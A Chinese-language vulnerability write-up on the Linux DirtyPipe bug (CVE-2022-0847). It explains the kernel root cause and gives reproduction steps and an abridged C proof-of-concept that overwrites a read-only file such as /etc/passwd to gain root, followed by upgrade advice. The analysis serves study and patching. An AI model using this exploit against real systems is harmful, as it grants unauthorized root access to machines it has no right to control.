CVE-2022-0847 Linux DirtyPipe内核提权漏洞

一、影响版本

Linux Kernel版本 >= 5.8
Linux Kernel版本 < 5.16.11 / 5.15.25 / 5.10.102

二、原理

Dirtypipe漏洞允许向任意可读文件中写数据,可造成非特权进程向root进程注入代码。该漏洞发生linux内核空间通过splice方式实现数据拷贝时,以"零拷贝"的形式(将文件缓存页作为pipe的buf页使用)将文件发送到pipe,并且没有初始化pipe缓存页管理数据结构的flag成员。若提前在内存空间中布置好“脏数据”让flag标记为PIPE_BUF_FLAG_CAN_MERGE,就会导致文件缓存页会在后续pipe通道中被当成普通pipe缓存页,进而被续写和篡改。在这种情况下内核并不会将这个缓存页判定为"脏页",短时间内不会刷新到磁盘。在这段时间内所有访问该文件的场景都将使用被篡改的文件缓存页,而不会重新打开磁盘中的文件读取内容,因此达成一个"短时间内对任意可读文件任意写"的操作,即可完成本地提权。

根因分析
管道(pipe)是内核提供的一种通信机制,通过pipe/pipe2函数创建,返回两个文件描述符,一个用于发送数据,另一个用于接受数据,类似管道的两端。
CVE-2022-0847 Linux DirtyPipe内核提权漏洞_第1张图片
在linux内核实现中,通常管道会缓存总长度65536字节,且用页的形式进行管理,总共16页(一页4096字节),页面之间并不连续,而是通过数组进行管理,形成一个环形结构。管道会维护两个指针,一个用来写管道头(pipe->head),一个用来读管道尾(pipe->tail),此处重点分析pipe_write函数。
CVE-2022-0847 Linux DirtyPipe内核提权漏洞_第2张图片

  • pipe_write函数代码关键功能说明:

[1]如果当前管道(pipe)中不为空(head==tail判定为空管道),则说明现在管道中有未被读取的数据,则获取head指针,也就是指向最新的用来写的页,查看该页的len、offset(为了找到数据结尾)。接下来尝试在当前页面续写。
[2]判断当前页面是否带有PIPE_BUF_FLAG_CAN_MERGEflag标记,如果不存在则不允许在当前页面续写。或当前写入的数据拼接在之前的数据后面长度超过一页(即写入操作跨页),如果跨页,则无法续写。
[3]如果无法在上一页续写,则另起一页。
[4]alloc_page申请一个新的页。
[5]将新的页放在数组最前面(可能会替换掉原有页面),初始化页管理结构的相关成员。
[6]buf->flag默认初始化为PIPE_BUF_FLAG_CAN_MERGE,因为默认状态是允许pipe缓存页续写的。
漏洞利用的关键就是在splice中未初始化buf->flag标记,导致splice传送的文件缓存页在buf->flag为PIPE_BUF_FLAG_CAN_MERGE时被当成了普通pipe缓存页。

  • splice函数关键功能及漏洞利用分析

在上文提到的pipe通过管理16个页来作为缓存,splice的零拷贝方法是直接用文件缓存页来替换pipe中的缓存页(更改pipe缓存页指针指向文件缓存页)。
CVE-2022-0847 Linux DirtyPipe内核提权漏洞_第3张图片
基于对splice函数代码和调用栈关系分析发现splice函数通过调用copy_page_to_iter_pipe函数将pipe缓存页结构指向要传输的文件的文件缓存页。调用栈如下图:
CVE-2022-0847 Linux DirtyPipe内核提权漏洞_第4张图片
CVE-2022-0847 Linux DirtyPipe内核提权漏洞_第5张图片

  • copy_page_to_iter_pipe函数关键功能:

[1]首先根据pipe页数组环形结构,找到当前写指针(pipe->head)位置。
[2]将当前需要写入的页指向准备好的文件缓存页,并设置其他信息,比如buf->len是由splice系统调用的传入参数决定的,此处唯独没有初始化buf->flag

根据前面管道实现机制章节中对pipe_write的分析可知,如果重新调用pipe_write向pipe中写数据,写指针(pipe->head)指向刚传送的文件缓存页,且flag为PIPE_BUF_FLAG_CAN_MERGE时,则pipe_write在写入长度不跨页的前提下,会认为可以继续在该页写,这样本次写操作就写在了本不该写的文件缓存页,如下图代码所示。
CVE-2022-0847 Linux DirtyPipe内核提权漏洞_第6张图片
linux将打开的文件放到缓存页之中,缓存页会保存一段时间,因此短时间内访问同一个文件,都会操作相同的文件缓存页,而不是反复打开。通过上文写缓存页的方法篡改了目标文件缓存页(即便目标文件没有写权限),导致在接下来的一段时间内所有使用这个文件的进程都会访问被篡改的缓存页,从而完成短时间内对目标文件的写操作,进而实现本地提权。

三、复现

复现条件:

  • 攻击者必须具有读权限(因为它需要将页面拼接到管道中)
  • 偏移量必须不在页面边界上(因为该页面的至少一个字节必须被拼接到管道中)
  • 写操作不能跨页边界(因为将为其余部分创建一个新的匿名缓冲区)
  • 文件不能调整大小(因为管道有自己的页填充管理,不告诉页缓存已经追加了多少数据)

复现步骤:

  • 创建一个管道。
  • 用任意数据填充管道(在所有环条目中设置PIPE_BUF_FLAG_CAN_MERGE标志)。
  • 清空管道(保留pipe_inode_info环上所有struct pipe_buffer实例中设置的标志)。
  • 将目标文件(用O_RDONLY打开)中的数据从目标偏移量的前面拼接到管道中。
  • 将任意数据写入管道; 由于设置了PIPE_BUF_FLAG_CAN_MERGE,因此该数据将覆盖缓存的文件页面,而不是创建一个新的匿名struct pipe_buffer。

复现代码参见 :https://github.com/Arinerron/...

1、创建pipe;
2、使用任意数据填充管道(填满, 而且是填满Pipe的最大空间);
3、清空管道内数据;
4、使用splice()读取目标文件(只读)的1字节数据发送至pipe;
5、write()将任意数据继续写入pipe, 此数据将会覆盖目标文件内容;
6、只要挑选合适的目标文件(必须要有可读权限), 利用漏洞Patch掉关键字段数据, 
即可完成从普通用户到root用户的权限提升, POC使用的是/etc/passwd文件的利用方式。
---------------------------------------------------------------------
static void prepare_pipe(int p[2]){
    if (pipe(p)) abort();

    // 获取Pipe可使用的最大页面数量
    const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); 
    static char buffer[4096];

    // 任意数据填充
    for (unsigned r = pipe_size; r > 0;) {
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        write(p[1], buffer, n);
        r -= n;
    }

    // 清空Pipe
    for (unsigned r = pipe_size; r > 0;) {
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        read(p[0], buffer, n);
        r -= n;
    }
}

int main(int argc, char **argv){
    ......

    // 只读打开目标文件
    const int fd = open(path, O_RDONLY); // yes, read-only! :-)
    ......
    // 创建Pipe
    int p[2];
    prepare_pipe(p);

    // splice()将文件1字节数据写入Pipe
    ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
    ......
    // write()写入任意数据到Pipe
    nbytes = write(p[1], data, data_size);

    // 判断是否写入成功
    if (nbytes < 0) {
        perror("write failed");
        return EXIT_FAILURE;
    }
    if ((size_t)nbytes < data_size) {
        fprintf(stderr, "short write\n");
        return EXIT_FAILURE;
    }

    printf("It worked!\n");
    return EXIT_SUCCESS;
}

复现版本
Linux ubuntu 5.10.5-051005-generic #202101061537 SMP Wed Jan 6 15:43:53 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
复现截图
执行前
CVE-2022-0847 Linux DirtyPipe内核提权漏洞_第7张图片
执行后,成功将/etc/passwd里root的密码修改成了我们设置的密码。这块的密码内容其实是存在于page cache中的,所以机器重启后会恢复成原来的密码
image.png

四、修复建议
建议用户升级Linux内核到5.16.11、5.15.25、5.10.102及以上版本。

参考资料
https://mp.weixin.qq.com/s/6V...
https://www.anquanke.com/post...
https://dirtypipe.cm4all.com/
https://github.com/chenaotian...
内核 http://zhaoxuhui.top/blog/202...
虚拟机修改内核 https://blog.csdn.net/qq_4262...

你可能感兴趣的:(安全提权内核linux)